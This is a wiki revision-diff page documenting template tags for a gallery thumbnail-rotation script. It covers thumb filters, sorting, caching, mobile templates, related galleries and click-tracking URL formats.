User Tools

Site Tools


new_rotation_templates

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
new_rotation_templates [2017/04/07 15:24] – adminnew_rotation_templates [2026/04/20 13:54] (current) – external edit 127.0.0.1
Line 1: Line 1:
 ====== New Rotation Templates ====== ====== New Rotation Templates ======
  
-Each template consists of 2 parts: template itself and subtemplate (sometime just 'sub' to be short). Template is a regular html page with special tags, so script takes your template, replace tags with actual content (lets say replace <!--DESCRIPTION--> tag with an actual description of a gallery), saves results to cache and shows it to user.+The template is standard HTML with special tags indicating where and how to display thumbs. Templates are stored in the database, the results are cached for the time specified by you in the settings, either in the template settings or directly in the tag.
  
-For version 1.X you have to add some special tags ((323 44))+Template editing includes cols & rows fields. These fields do not affect rotation itself; they are only used to make cell statistics easier to review in [[Cell Stats]].
  
-**Each template MUST have hidden image rot_in and include <!--SCJ_INCLUDE-->, if you dont have it - script will not count thumb shows** 
  
-  <img src="/scj/cgi/rot_in.php?crc=<!--PAGE_CRC-->" border=0 width=0 height=0 style="position: absolute; top: -100; left: -100"> +The name of the template has nothing to do with what tags can be used there, for example, the category is displayed by default using the content_list template, but you can add &force_template=... to the category rewrite and display it using any template.
-  <!--SCJ_INCLUDE-->+
  
-All templates (except header and footer) should have at least 1 subtemplate. Basically subtemplate is a little template to output each thumb at this page. 
  
-  <a href="/gallery/<!--GALLERY_SLUG-->/index.html?<!--THUMB_LINK-->" title="<!--ALT-->"> +All templates must have at least one subtemplate. A subtemplate defines how each thumb is displayed. For example:
-  <img src="<!--THUMB_URL-->" class="t_img" alt="" /></a> +
  
-You can have as many templates as you want, but 99% of site uses 1 per page. Note, script uses parameter <!--THUMB_LINK--> to count clicks, so you must have it too.+<code> 
 +<a 
 +  href="/gallery/<!--GALLERY_SLUG-->/index.html 
 +    ?<!--THUMB_LINK-->" 
 +  title="<!--ALT-->" 
 +> 
 +  <img 
 +    src="<!--THUMB_URL-->" 
 +    class="t_img" 
 +    alt="" 
 +  /> 
 +</a> 
 +</code> 
 + 
 +There can be any number of subtemplates. Note that: 
 + 
 +1. Physically, the path /gallery/<!--GALLERY_SLUG-->/index.html does not exist on the server. Pages are generated on the fly when requested, and this URL exists because of rewrites. [[New Rotation FAQ]]
  
 +2. In this example, the script counts clicks using the <!--THUMB_LINK--> parameter, but this parameter is optional because the new version can count clicks without it. [[Rotation Parameter]]
  
-Places to show thumbs: +Places to output thumbs in the template are specified as follows. 
 +For example,
  
 <code> <code>
-  <thumb template=default num=1></thumb> - output thumb 1 using subtemplate default +<thumb template=default num=1></thumb> 
-  if you don't mention template - it will use default anyway so  +- display thumb number 1 here 
-  <thumb template=default num=1></thumb> = <thumb num=1></thumb>+  using the default subtemplate
  
-There's a sort form if you want+if you do not specify a subtemplate, 
 +the default subtemplate will be used
  
-  format: <!--subtemplatename_thumbnum--> +<thumb template=default num=1></thumb> 
-  for example  +equals 
-  <!--default_1--> +<thumb num=1></thumb>
 </code> </code>
  
-a range of numbers+You can specify numeric ranges, for example
  
-  <thumb num=1-5></thumb> +<code> 
-  аналогично +<thumb num=1-5></thumb> 
-  <!--default_1-5--> +</code>
  
-outputs first 5 thumbs+This will display the first 5 thumbs.
  
-You can also add filters inside  the tag <thumb+You can also specify filters directly in the tag. Basic example: assume we have an index template with no filters by default, and we write
  
-  <thumb num=1-10></thumb> +<code> 
 +<thumb num=1-10></thumb> 
 +</code> 
 + 
 +then you will get the first 10 thumbs by CTR from all categories. 
 + 
 +To filter by sponsor: 
 + 
 +<code> 
 +<thumb sponsor=Myspon num=1-10></thumb> 
 +<thumb sponsor="My spon" num=1-10></thumb> 
 +<thumb sponsor_id=5 num=1-10></thumb> 
 +<thumb sponsor_id=5,10 num=1-10></thumb> 
 +</code> 
 + 
 +If the sponsor name contains spaces, use quotes. You can also filter by one ID or by several IDs. 
 + 
 +This will display the first 10 thumbs for the selected sponsor. In the same way, you can specify a group (category): 
 + 
 +<code> 
 +<thumb category=Mycategory num=1-10></thumb> 
 +<thumb category_id=5 num=1-10></thumb> 
 +<thumb skip_category=Mycat,other_category num=1-10></thumb> 
 +</code> 
 + 
 +You can filter by category name, by category ID, or exclude categories with skip_category. 
 + 
 +Sorting: 
 + 
 +<code> 
 +<thumb order=date category=Mycategory num=1-10></thumb> 
 +</code> 
 + 
 +And content type limitation: 
 + 
 +<code> 
 +<thumb content_type=image num=1-10></thumb> 
 +</code> 
 + 
 +This will display only items with the image content type 
 +(it can also be movie, which outputs both movies and flash; 
 +flash, which outputs flash only; 
 +movie_only, which outputs movies only). 
 + 
 +And of course they can be combined, for example 
 + 
 +<code> 
 +<thumb category=Mycategory sponsor=mysponsor num=1-10></thumb> 
 +</code> 
 + 
 +Please note that the subtemplate can be specified directly in the main template, which is often very convenient, for example 
 + 
 +<code> 
 +<thumb category=Mycategory sponsor=mysponsor num=1-10> 
 +  <a href='/gallery/<!--GALLERY_SLUG-->/index.html'> 
 +    <!--THUMB_URL--> 
 +  </a> <--- this is the subtemplate 
 +</thumb> 
 +</code> 
 + 
 + 
 + 
 +One important detail about these tag filters is that they are applied in addition to any filters already present in the request. For example, the category page /category/super_name/ is rewritten as /?category_name=super_name. 
 + 
 +By default, the template contains only 
 + 
 +<code> 
 +<thumb num=1-10></thumb> 
 +</code> 
 + 
 +Since the request already contains the category_name filter, thumbs from the super_name group will still be displayed even though the <thumb tag itself does not specify a category filter. 
 + 
 +So if you write in the template 
 + 
 +<code> 
 +<thumb sponsor_id=5 num=1-10></thumb> 
 +</code> 
 + 
 +this tag will apply two filters at once: thumbs from the super_name group that also belong to sponsor ID 5. 
 + 
 +If you need to override the group that came from the URL, then you must specify the group explicitly in the tag: 
 + 
 +<code> 
 +<thumb sponsor_id=5 category=mycategory num=1-10></thumb> 
 +</code> 
 + 
 + 
 + 
 +**Subtemplates**  
 +As a quick reminder: 
 + 
 +<code> 
 +<thumb sponsor_id=5 num=1-10></thumb> 
 +</code> 
 + 
 +will display thumbs using the default subtemplate, but you can specify a different subtemplate 
 + 
 +<code> 
 +<thumb sponsor_id=5 num=1-10 template=my_tpl></thumb> 
 +</code> 
 + 
 +or by entering the subtemplate directly in the tag: 
 + 
 +<code> 
 +<thumb sponsor_id=5 num=1-10> 
 +  <a href=...> 
 +    img src=<!--THUMB_URL--> 
 +  </a> 
 +</thumb> 
 +</code>
      
-this way you have 10 best thumbs+If there is no default subtemplate and no subtemplate is specified anywhere, which subtemplate should be used to display thumbs?
  
-  <thumb sponsor=Myspon num=1-10></thumb>  + 
-  or if you have space in name +**Duration limitation** 
-  <thumb sponsor="My spon" num=1-10></thumb>   + 
-  or you can use id +<code> 
-  <thumb sponsor_id=5 num=1-10></thumb> +<thumb duration_min=10 duration_max=90 num=1-10> 
-  or a couple of ids +  <!--ID--> <!--DURATION--> <br> 
-  <thumb sponsor_id=5,10 num=1-10></thumb>+</thumb> 
 +</code> 
 + 
 +This is equivalent to having the following in the template 
 + 
 +<code> 
 +<thumb num=1-10> 
 +  <!--ID--> <!--DURATION--> <br> 
 +</thumb> 
 +</code> 
 + 
 +with the URL domain/scj/tube/?duration_min=10&duration_max=90 
 + 
 + 
 +Parameters can be passed in any supported way: 
 +http://smartcj.com/wiki/doku.php?id=new_rotation_hints#setting_get_parameters 
 + 
 + 
 +**Limitation by group ID** 
 + 
 +The skip_category_id parameter can be passed either in the URL or in the <thumb ...> tag. It simply excludes thumbs from the specified groups. 
 + 
 + 
 +**Limitation by sponsor** 
 + 
 +<code> 
 +<thumb sponsor_id=5 num=1-10> ... </thumb> 
 +<thumb sponsor="sponsor name" num=1-10> ... </thumb> 
 +<thumb sponsor_slug="sponsor_slug" num=1-10> ... </thumb> 
 +</code> 
 + 
 + 
 +Include all sites for one sponsor. Sponsors have two fields, Sponsor name and Sponsor Site, so one sponsor can have several sites. In Rotation - Sponsor they are combined in the menu. You can display all sites for one sponsor like this: 
 + 
 +<code> 
 +<thumb sponsor_name="sponsor name" sponsor_include_all_sites=true> 
 +</code> 
 + 
 + 
 +Exclude sponsors 
 + 
 +<code> 
 +<thumb skip_sponsor_id=5 num=1-10> ... </thumb> 
 +<thumb skip_sponsor="sponsor name" num=1-10> ... </thumb> 
 +</code> 
 + 
 + 
 + 
 +**Date restriction** 
 + 
 +<code> 
 +&date_start=2012-01-01&date_end=2013-01-02 
 +</code> 
 + 
 +This will exclude thumbs from the specified time period. You can use one start date and one end date. 
 + 
 +There are also several presets: 
 +<code> 
 +&date_limit=today (yesterday, this_week, this_month) 
 +- which will automatically substitute 
 +  the required dates 
 +</code> 
 + 
 +** 
 +And by the duration of the movie (in seconds)** 
 + 
 +<code> 
 +&duration_min=60&duration_max=120 
 +</code> 
 + 
 + 
 + 
 +**General tags for templates** 
 + 
 +<code> 
 +<!--TEMPLATE_NAME--> name of the current template 
 +</code> 
 + 
 + 
 +**Repeatability gallery - allow_dupes** 
 + 
 +If you conditionally have a tag  
 +<thumb num=1-10></thumb> 
 + 
 +and you will enter somewhere in the template <thumb num=1-5></thumb> or <thumb num=1-10></thumb> , when the tag parameters exactly match, the script will output the same thumb. 
 + 
 +However, if the tags are different, for example the following tag 
 + 
 +  <thumb num=1-10 order=date></thumb>    
 +  <thumb num=1-10 sponsor_id=5></thumb>    
 + 
 +etc., then when selecting for this tag, the gallery that was found in the first tag will be excluded. 
 + 
 +This behavior can be avoided by adding <thumb allow_dupes=true num=1-10></thumb> to the tag 
 + 
 +**Num modifiers** 
 + 
 +Usually the number is set in the <thumb num=1-10 tag, but in certain situations you can add parameters that will automatically change the numbers. 
 + 
 + 
 +**num_range_shift** - for example <thumb num=1-10 num_range_shift=1-5 will display a set of 1-10, 11-20, etc., increasing num by 1-5 times. This will give variety to a similar tag. 
 + 
 + 
 + 
 +**zero_items_return_404** 
 + 
 +There is a setting called “URLs with 0 result thumbs return 404”. If a tag returns 0 galleries on a page, the script redirects to the content_not_found template. In some cases, however, you may want to override this behavior for a specific page: 
 + 
 +<thumb num=1-10 zero_items_return_404=off ... 
 + 
 + 
 +**skip_test_thumbs** 
 + 
 +It happens that for some reason there is no need to display test thumbs in a block, for example, you are instructed to display test thumbs in places 10-15, but you just want to display 15 thumbs by CTR without test ones 
 + 
 +  <thumb skip_test_thumbs=true num=1-15 
 + 
 +===== Inline thumbs ===== 
 + 
 +Useful tag for native advertising. 
 + 
 +For example, we have a standard tag 
 + 
 +<code> 
 +<thumb num=1-100> <a href='/gallery/<!--GALLERY_SLUG-->'> ... </a> </thumb> 
 +</code> 
 + 
 +and we want to mix in as an advertising sponsor. Normally it would look like 
 + 
 +<code> 
 +<thumb num=1-50> <a href='/gallery/<!--GALLERY_SLUG-->'> ... </a> </thumb> 
 + 
 +<a href='link to sponsor'> ... </a> 
 + 
 +<thumb num=51-100> <a href='/gallery/<!--GALLERY_SLUG-->'> ... </a> </thumb> 
 +</code> 
 + 
 +we need to manually indicate where exactly the gap is in the real thumb and the link to the sponsor. 
 + 
 + 
 +in the new tag it is much more convenient to do this 
 + 
 +1. create a subtemplate for example sponsor_thumbs 
 + 
 +<code> 
 +<a href='link to sponsor'> ... </a> 
 +</code> 
 + 
 +2. write in the page as 
 + 
 +<code> 
 +<thumb num=1-100 **inline_thumbs=5 inline_thumbs_subtemplate=sponsor_thumbs**> 
 +<a href='/gallery/<!--GALLERY_SLUG-->'> ... </a> 
 +</thumb> 
 +</code> 
 + 
 +then, out of those 100 thumbs, some random positions will display not <a href='/gallery/<!--GALLERY_SLUG-->'> ... </a> but whatever is defined in the sponsor_thumbs subtemplate, that is, a link to the sponsor. This makes the sponsor links blend into the page naturally instead of looking out of place. 
 + 
 + 
 +Please note that you can specify several subs, for example inline_thumbs_subtemplate=subtemplate1,subtemplate2, etc., and will take each of the subs in turn. 
 + 
 + 
 + 
 +**Inline** also works for modelsb sponsor, search_log 
 + 
 + 
 +<code> 
 +<models  num=1-10  inline_thumbs=2 inline_thumbs_subtemplate=inline> 
 +  <!--MODEL_NAME--><br> 
 +</models> 
 + 
 +<sponsors  num=1-10  inline_thumbs=2 inline_thumbs_subtemplate=inline> 
 +  <!--SPONSOR_NAME--><br> 
 +</sponsors> 
 + 
 +<search_log num=1-10  inline_thumbs=2 inline_thumbs_subtemplate=inline> 
 +    <!--SEARCH_QUERY--> <br> 
 +</search_log> 
 + 
 +<category  num=1-10  inline_thumbs=2 inline_thumbs_subtemplate=inline> 
 +  <!--CATEGORY_NAME--><br> 
 +</category> 
 +</code> 
 + 
 + 
 +===== Thumb status ===== 
 + 
 +By default, the script displays only active galleries, but in some cases you may also want to display inactive ones. To do that, use the gallery_status=inactive parameter in the <thumb macro. 
 + 
 + 
 +===== Thumb sort ===== 
 + 
 +By default, thumbs are sorted by CTR. But you can sort in a different order: 
 + 
 +<code> 
 +date 
 +date_asc 
 +duration 
 +rating 
 +total_shows 
 +gallery_id 
 +no_order (what the database will output is what it outputs, actually by ID) 
 +random , note that random is slow on large databases 
 +easy_random - pseudo random, it is recommended to use this option on large 
 +  databases 
 +comments_count - by number of comments (slow on large databases) 
 +</code> 
 + 
 +As noted above, the parameters from the URL go into the tag, unless otherwise specified. 
 + 
 +The &order=date in the URL is the same as <thumb order=date 
 + 
 +You can also sort by custom var gallery for example 
 + 
 +  <thumb num=1-10 order=custom_var1 sort=desc (or asc) >
      
-Outputs first 10 thumbs limited by sponsor. The same works for cateegories+but here we must remember that by default there is no index on these fields, and sorting on large databases by these fields can be slow. If you understand what you are doing, it makes sense to add an index to this field. 
 + 
 + 
 +You can also set a gap for custom fields by adding the words from & to , for example
  
-  <thumb group=Mygroup num=1-10></thumb>  +  <thumb num=1-10 custom_var1_from=10 custom_var_to=20
-  <thumb group_id=5 num=1-10></thumb>+
      
-  or you can exclude groups  
-  <thumb skip_group=Mygroup,other_group num=1-10></thumb>  
      
 +Here you will need to pay attention that mysql can sort numbers and letters in different ways and different options have their own nuances. Therefore, if the selection does not work as expected, post on the forum with details of what types of data are filtered/sorted and how.
  
-Sorting +===== fixed_num =====
  
-  <thumb order=date group=Mygroup num=1-10></thumb> +As stated above, thumb is output per page, those <thumb num=1-10 will output 1-10 on the first page and 11-20 on &page=2.
  
-content limit+If you need to display the same set of thumbs on all pages, for example in a header with the top 5 category thumbs, then you can fix num
  
-  <thumb content_type=image num=1-10></thumb>  +  <thumb num=1-10 fixed_num=true 
-  You can also use : flash, movie_only and movie - outputs both flash and movies+ 
 +and on all pages it will display exactly 1-10 
 +===== Unset parameter ===== 
 + 
 +Inheritance works in parameters: this means that the parameters from the URL are added to the parameters from the tag, so for example in your template 
 + 
 +  <thumb num=1-10  
      
  
-You can also mix parameters, for example +but on the category page it displays 10 thumbs from the category, in fact it turns out to be a tag
  
-  <thumb group=Mygroup sponsor=mysponsor num=1-10></thumb> +<thumb num=1-10 category_id=.. (from URL)
      
-You can also have a subtemplate right in main template +and for example on the model page the same tag displays the thumb of the model, so it turns out
  
-  <thumb group=Mygroup sponsor=mysponsor num=1-10>  <a href='/gallery/<!--GALLERY_SLUG-->/index.html'><!--THUMB_URL--> <---  this is a subtemplate </thumb> +<thumb num=1-10 model_id=.. (from URL)
  
  
-Note, that <thumb filters are added to filters we get from url, for example +This is convenient, but sometimes you need to display, for example, random thumbs on a category page. If done simply 
 + 
 + 
 +  <thumb num=1-10 order=easy_random 
 +   
 + 
 +then as described above it will work out 
 + 
 +  <thumb num=1-10 order=easy_random category_id=... 
 + 
 +therefore, it is for this tag that you need to remove the category parameter and it will look like 
 + 
 +  <thumb num=1-10 order=easy_random category_id="" 
 + 
 +However, we removed the category_id parameter, which would have been included in the tag from the URL. 
 + 
 +Another example: you have a search page, tag 
 + 
 +<thumb num=1-10   
 +  which in fact 
 +   
 +<thumb num=1-10 search=... (from URL) 
 +   
 +to display 10 random ones on this page you need to do 
 + 
 +<thumb num=1-10 search="" those "zero" parameter for a specific tag 
 + 
 + 
 +===== GET parameters ===== 
 + 
 +Sometimes in the tag itself you need to set a parameter depending on the page. Typically, variables from the URL are used for this, which are properly called GET variables. For example, we want to display models 
 + 
 +  <models first_letter=a 
 +   
 +will display fixed models for the letter A. but creating a template for each letter is inconvenient, and we can do 
 + 
 +  <models first_letter=GET_someletter 
 +   
 +what does it mean to take the first letter from the URL variable someletter for example 
 + 
 +  /?force_template=...&someletter=... 
 +   
 +   
 +**For tags** there is one small detail. Normally a tag is passed in the URL as &tag=car, but if you need to specify two tags, you can use &tag=car,bus. In that case, the script will look for galleries that have tag car OR bus. 
 + 
 +Sometimes it is necessary to make a clarification for the search, when a tag must be present or, on the contrary, must be absent, for example, car, but even if there were no tag blue - &tag=car,-blue, as it is not difficult to notice there is a minus sign before blue, this tag should not exist. 
 + 
 +Similarly, if on the contrary, the tag must be present, in this case there must be a + (plus) before the tag. Here you need to pay attention that according to the URL standard, plus is a reserved character that replaces a space, so plus you need to make the url encoded, namely %2B those URLs will be &tag=car,%2Bred those gallery should have 2 tags car AND(!) red. 
 + 
 + 
 + 
 +===== gallery_id example ===== 
 + 
 +For example, you need to display the thumb of a certain gallery in the first line of the page (for example, with this thumb you are sending from another site) 
 + 
 +It turns out, for example, the test template
  
 <code> <code>
-/category/super_name  using mod_rewrite we change it to /?group_name=super_name+<thumb num=1-10 gallery_id=GET_gal_id> 
 +    <!--GALLERY_ID--> <br> 
 +</thumb>
  
-in template we have +<thumb num=1-5> 
 +    <!--GALLERY_ID--> <br> 
 +</thumb> 
 +</code>
  
-<thumb num=1-10></thumb>  
  
-script will output 10 thumb from the group 'super_name' because we have it in url parameters+gallery_id=GET_gal_id here we take the gallery ID from the gal_id parameter from the URL, so if you open the page as domain/?force_template=test&gal_id=12345 then gallery 12345 will be displayed in the first block
  
-SO if you use for example  
  
-<thumb sponsor_id=5 num=1-10></thumb> +===== Cache parameter ===== 
 + 
 +By default, we cache the site page for the time specified in the settings (Cache time, seconds) by default 600, this means that the page will be generated 1 time and then will be shown in this form for 600 seconds, even if the data changes, this allows you to relieve the server and not generate the page for each visit. 
 + 
 +Next, you can adjust the cache for each page: in page editing there is also a field Cache time, seconds, this parameter is more important than the general one. 
 + 
 +But you can regulate even deeper - in a tag, for example <thumb num=1-100 cache_time=100 - here the tag will cache for 100 seconds. 
 + 
 +But there is another deeper parameter - count_total_cache_time 
 + 
 +The idea is simple: when we calculate thumb output for category A, we need two values - the first N thumbs to display and, if pagination is enabled, the total number of matching thumbs after applying category, sponsor, disabled-group, and other filters. Counting the full total creates extra load. So when a user opens a category page, we select the top 100 thumbs and calculate the total once. When the user goes to page 2, we select thumbs 101-200 but do not recalculate the total count, which saves resources. 
 + 
 +But there is a moment where correct counting is more important than saving - for example, for the favorites template: here it would be necessary to immediately show the current number after adding new videos. 
 + 
 +To do this we can do <thumb num=1-10 count_total_cache_time=1 
 + 
 +And this request will be cached for 1 second, which is enough to keep the information always up to date. 
 + 
 +===== Custom cache ===== 
 + 
 +Note - this is only for those who understand PHP. 
 + 
 +Maybe the situation is that you are performing some actions in PHP in the template and these actions are heavy on the processor. In this case you can cache your results using a cache script, for example: 
 + 
 +<code> 
 +if (false === ( 
 +  $cache_result = Cache::get('cache_name') 
 +)) { 
 +$cache_result = 'some of your calculations, etc.';
  
-script will output thumbs using 2 filters: group 'super_name' AND sponsor_id = 5.+Cache::set('cache_name', $cache_result, cache_time_in_seconds);
  
-if you need another group at this page - you can override url parameters in tag like +}
  
-<thumb sponsor_id=5 group=mygroup num=1-10></thumb> +display $cache_result 
 +(it’s definitely there: 
 +either from cache, 
 +or calculated if there was no cache)
 </code> </code>
 +===== Page main tag  =====
  
 +Problem: we have some kind of page with 2 tags:
  
-**Duration limit**+  <thumb category=A num=1-10  
 +  and  
 +  <thumb category=B num=1-10  
 +   
 +A problem appears with pagination because it is not clear which tag should be used to calculate the total number of pages. To solve this, the page_main_tag parameter was added. For example, <thumb category=B num=1-10 page_main_tag=true> tells the script to calculate pagination using this tag. 
 + 
 +The second problem is show 404 when 0 items. 
 + 
 +  <search_log num=1-10  
 +  and  
 +  <thumb category=B num=1-10  
 + 
 + 
 +In this case, search_log is empty, the tag returns 0 galleries, and the script assumes it should show a 404 page. But if the main content of the page is actually produced by <search_log or another specific tag, you should explicitly mark which tag is the main one. For example: 
 + 
 + 
 +  <search_log num=1-10  
 +  and  
 +  <thumb category=B num=1-10 page_main_tag=true 
 + 
 +===== do_not_count_shows ===== 
 + 
 +If for some reason you don’t need to count impressions for some thumbs on the page, then just add the do_not_count_shows parameter to the tag 
 + 
 +  <thumb do_not_count_shows=true 
 +   
 +Please note that thumb showing is counted 1 time. For example, on the page 
 + 
 +<meta ... <thumb num=1-10> <!--DESCRIPTION--> </thumb> - just filling in meta data 
 + 
 +and later on the page again  
 +<thumb num=1-10><a href ...> the same thumb but a different subtemplate to display the thumb 
 + 
 +despite the fact that it is displayed 2 times, only 1 impression will be counted. 
 + 
 + 
 +This also works for system thumbs, for example category thumbs. It is useful when you only display a list of categories without outputting a thumb itself, and therefore do not want to add +1 impression to the category thumb.
  
 <code> <code>
 +<category do_not_count_shows=true order=alphabet num=1-200>
 +<!--CATEGORY_NAME--> <br>
 +</category>
 +</code>
  
-<thumb duration_min=10 duration_max=90 num=1-10> <!--ID--> <!--DURATION--> <br> </thumb> 
  
-or use can use the same in url  
  
-domain/scj/tube/?duration_min=10&duration_max=90+===== Mobile Templates =====
  
-and the tag will be just+If you want a separate design for mobile devices, then any template can be duplicated by a template with the same name, but with **mobile_ at the beginning**, and mobile traffic will receive the template with mobile.
  
-<thumb num=1-10> <!--ID--> <!--DURATION--> <br> </thumb>+For example, we have index, mobile_index and content_custom_pic (mobile_content_custom_pic was not created).
  
 +The mobile surfer came to the index - the mobile_index template will show him.
 +Then he got to the gallery - content_custom_pic will be shown to him, because there is no mobile_content_custom_pic.
  
  
 +**NOTE** If for some reason you want to allow the user to disable this functionality, there is a &skip_mobile_templates=yes parameter in which case the script will not substitute mobile templates. If you need to enable the functionality again - skip_mobile_templates=no
 +
 +
 +
 +===== Related Galleries  =====
 +
 +For a custom gallery it is possible to display related galleries, by default this is a gallery from the same category, but can be changed in the tag
 +
 +<code>
 +Examples
 +
 +<thumb category=CURRENT_ITEM_GROUP num=1-5>
 +some template
 +</thumb>
 +
 +<thumb sponsor=CURRENT_ITEM_SPONSOR category="" num=1-5>
 +some template
 +</thumb>
 +
 +<thumb model=CURRENT_ITEM_MODEL category="" num=1-5>
 +some template
 +</thumb>
 +
 +<thumb tag=CURRENT_ITEM_TAG num=1-5>
 +some template
 +</thumb>
 +
 +<thumb tag=CURRENT_ITEM_TAGS_COMBINED num=1-5>
 +some template
 +</thumb>
 +
 +<thumb model=CURRENT_ITEM_MODEL
 +       exclude_current_gallery=true>
 +exclude the current gallery from the results
 +
 +These options are more complex (they load the database more) than the options
 +  above
 +
 +<thumb tag=CURRENT_ITEM_TAGS_INTERSECTION num=1-5>
 +display in sorting order
 +by the number of matching tags
 +(for example, 4 matching tags
 +is better than 3 matching tags)
 +</thumb>
 +
 +<thumb category=CURRENT_ITEM_GROUPS_INTERSECTION num=1-5>
 +display in order of sorting by the number of matching groups
 +</thumb>
 +
 +you can also skip sponsor, for example
 +
 +<thumb num=1-10 skip_sponsor_id=THIS_ITEM_SPONSOR_ID>
 +    <!--GALLERY_ID--> ...
 +</thumb>
 </code> </code>
  
-**Group limit** +Please note that CURRENT_ITEM_TAG and CURRENT_ITEM_GROUP take a random group\tag for sampling if there are several of them. CURRENT_ITEM_TAGS_COMBINED - takes all tags at once.
  
-  <thumb group_id=..  
-  or  
-  <thumb skip_group_id=.. 
  
-**Sponsor limit** +====== Special Parameters ======
  
-  <thumb sponsor_id=123 or sponsor=sponsor_name +===== THIS_CATEGORY_BEST_THUMB_ID =====
-  or  +
-  <thumb skip_sponsor_id=123 or skip_sponsor=sponsor_name+
  
 +  <thumb first_thumb_id=THIS_CATEGORY_BEST_THUMB_ID order=ctr num=1-10>
 +  
 +  
 +By default, a category thumb is the best thumb in that category. But imagine one thumb belongs to 5 categories and is extremely popular. Once it becomes the category thumb for category A, it will no longer be used as the category thumb for category B, to avoid duplicates on the index. As a result, category B may use the second-best thumb by CTR. However, when a surfer opens category B, they may expect to see the strongest thumb first. The displayed tag forces category thumbs to appear first.
 +
 +Test parameter, see how it works for you.
 +
 +====== Subtemplate tags ======
  
-**Date** +Things that can be used in subtemplate
  
 <code> <code>
-&date_start=2012-01-01&date_end=2013-01-02+  <!--URL--> aka <!--GAL_URL--> - URL gallery. 
 +  <!--THUMB_URL--> URL thumb 
 +  <!--EXTRA_THUMB_URL--> - extra thumb 
 +  <!--THUMB_LINK--> Thumb ID for counting clicks 
 +    (the so-called rotation parameter; 
 +    if it is not there, clicks on thumb 
 +    will not be counted in CTR) 
 + 
 +<!--DESCRIPTION--> Description 
 + 
 +<!--GALLERY_SLUG--> SEO prominent description gali 
 +  <!--GALLERY_SLUG::DE--> <!--GALLERY_SLUG::IT--> 
 +    where DE and IT are language codes 
 +    if you need to display a slug 
 +    in another language 
 +  <!--ID--> ID thumb in the database 
 +  <!--ACTIVATION_DATE--> <!--ACTIVATION_DATETIME--> adding time 
 +  <!--ALT--> alternative description (title) 
 + 
 +<!--TAG1--> - first tag 
 +  <!--TAG2--> - second tag, etc. 
 +  <tag_list ><!--TAG--> </tag_list> - display all available tags in a loop 
 +<!--ALL_THUMBS--> - if a gallery has several thumbs 
 +  for rotation, this tag will display all of them 
 +  separated by commas 
 + 
 +<!--CATEGORY_1_NAME--> <!--CATEGORY_2_NAME--> (old style <!--GROUP_1_NAME-->) 
 +  etc. 
 +  <!--CATEGORY_1_ID--> <!--CATEGORY_2_ID--> 
 +    (old style <!--GROUP_1_ID--> <!--GROUP_2_ID-->) 
 +    all group variables can also be displayed 
 +    in the form GROUP_1_group_variable 
 + 
 +<category_list num=1-5><!--CATEGORY_NAME--> </category_list> loop through all 
 +  gallery groups 
 + 
 +<!--CASTS--> = <!--SHOWS--> = <!--VIEWS--> 
 +  <!--RATING--> 
 +  <!--RATING_VOTES--> - total number of votes 
 +  <!--RATING_1-->, <!--RATING_2--> - number of voters 1, 2, etc. 
 +  <!--CLICKS--> 
 +  <!--VIDEO_URL--> 
 +  <!--VIDEO_SIZE_X--> <!--VIDEO_SIZE_Y--> 
 +  <!--VIDEO_THUMB_URL--> 
 +  <!--CUSTOM_VAR1--> 
 +  <!--CUSTOM_VAR2--> 
 +  <!--CUSTOM_VAR3--> 
 +  <!--IMAGE_COUNT-->, <!--MOVIE_COUNT--> and <!--FLASH_COUNT--> 
 +  <!--CONTENT_TYPE--> bitwise 1 - images, 2 movies, 4 - flash. 
 +  <!--THUMB_WIDTH--> <!--THUMB_HEIGHT--> 
 +  <!--DURATION--> <!--DURATION_SECONDS--> 
 + 
 +<!--VIDEO_PREVIEW_URL--> - video preview 
 + 
 +  <!--MODEL_1_NAME--> 
 +  <!--MODEL_1_SLUG--> 
 +  <!--MODEL_2_NAME--> 
 +  <!--MODEL_2_SLUG--> 
 + 
 +<model_list num=1-100><!--MODEL_NAME--></model_list> 
 +  you can display all gallery models in a loop 
 + 
 +<!--CUSTOM_GALLERY_ITEM_ID--> - thumb ID 
 +  within the gallery to which 
 +  the current rotating thumb belongs 
 + 
 +<!--COMMENTS_COUNT--> - number of comments for this video 
 + 
 +<!--POS--> - thumb number in the listing on the page 
 + 
 +<!--SOURCE_URL--> source URL 
 +  if the gallery was created from something else, 
 +  for example embed code 
 +  or content uploaded manually
 </code> </code>
  
 +More information about video preview - [[rotation_crop_profiles#video_preview|Video Preview]]
  
-there are some presets+   
 +For example, imagine you grabbed a gallery with 10 pictures, and 5 of those pictures were added to rotation. Now you want a surfer to go from thumb rotation, for example from a category page, directly to the page with the exact picture behind the selected thumb. Suppose the best rotating thumb is number 3, and that thumb corresponds to picture number 6 inside the custom gallery. In that case, <!--CUSTOM_GALLERY_ITEM_ID--> will output 6. The link can look like /gallery/<!--GALLERY_SLUG-->/<!--CUSTOM_GALLERY_ITEM_ID-->.html, with a rewrite to out.php?url=content&slug=...&item_id=... 
 + 
 + 
 +**Output of category variables** 
 + 
 + 
 +For example, on a category page you may want to display <!--CATEGORY_NAME-->: if the URL is domain.com/category/asd/, the output is obviously asd. But on a gallery page that belongs to three categories, <!--CATEGORY_NAME--> is ambiguous because it is not obvious which category name should be used. In that case, as shown above, you can use tags like <!--CATEGORY_1_NAME--> and <!--CATEGORY_2_NAME--> or the <category_list tag. 
 + 
 + 
 + 
 +**Small clarification about the THUMB_LINK parameter.** 
 + 
 +The idea is simple: originally &link= was a generic link-tracking parameter. For example, if one block uses &link=block1 and another uses &link=block2, you can later open Trade -> Stats -> Links and compare how many clicks each block received. 
 + 
 +Later, rotation started using this parameter in the form images/12x34x45. That format was chosen so it would not be confused with ordinary tracking values like block1. Links such as images/12x34x45 are not shown in regular link statistics. The URLs looked like /out.php?url=http://gallery/&link=images/12x34x45, and from that the script understood two things: first, that this was a click on a rotating thumb, and second, that this link should be counted only in thumb statistics, not in Trade -> Stats -> Links. 
 + 
 +After rewrites were added, gallery URLs started to look like /gallery/cool/index.html?images/12x34x45, which was not very pretty, so they shortened it to /gallery/cool/index.html?12x34x45. The images/ part was moved into the rewrite, and that is why the THUMB_LINK tag was added: the script outputs only 12x34x45, while the rewrite restores the full link format. 
 + 
 +So a URL like /gallery/cool/index.html?12x34x45 is rewritten into something like out.php?link=images/12x34x45&url=content&slug=cool, where link= is still the tracking parameter and url=content&slug=cool tells the script which gallery to load. 
 + 
 +Because rotation historically uses the &link= tracking parameter, you cannot use that same parameter again for ordinary block tracking on rotating links. That is why the &link2= parameter was added. It has the same meaning as &link= for block tracking, but it allows URLs like out.php?link=images/12x34x45&url=content&slug=cool&link2=block1. 
 + 
